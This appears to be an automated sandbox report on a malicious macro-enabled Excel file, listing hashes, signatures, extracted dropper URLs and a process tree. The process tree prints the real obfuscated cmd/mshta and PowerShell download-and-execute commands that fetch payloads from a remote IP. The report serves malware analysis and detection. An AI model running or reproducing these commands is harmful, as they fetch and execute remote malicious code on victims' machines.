Overview

overview

10

Static

static

8

VO_63292.xlsm

windows7_x64

10

VO_63292.xlsm

windows10-2004_x64

10

Analysis

  • max time kernel
    7s
  • max time network
    68s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    19-01-2022 05:18

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General

  • Target

    VO_63292.xlsm

  • Size

    112KB

  • MD5

    057ac3d7afc46c01053528d3e29732bb

  • SHA1

    434ff7170ef46b776dc755a36e730b241c0e9aab

  • SHA256

    9460b2bb8ba2fb292c897532ce1f2671a383bed1194dd3aef7c2027fd427c09f

  • SHA512

    cf6d05c347cc4a8b9317b004720cff9abc31ec9dd690cb4cb676bf9ae79c9b53f275fadea94f8d481be969e6cb2749ce32d0366e0d14e4cc144e2797b9f6aefc

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/ru/ru.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Program crash 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\VO_63292.xlsm"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2564
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      PID:3428
      • C:\Windows\system32\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
          PID:2972
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:4024
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2972 -s 1724
              4⤵
              • Program crash
              PID:3380
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 440 -p 2972 -ip 2972
        1⤵
          PID:4008

        Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        • memory/2564-130-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-131-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-132-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-133-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-134-0x00007FF7E60D0000-0x00007FF7E60E0000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-137-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2564-138-0x00007FF7E3A40000-0x00007FF7E3A50000-memory.dmp

          Filesize

          64KB

          Download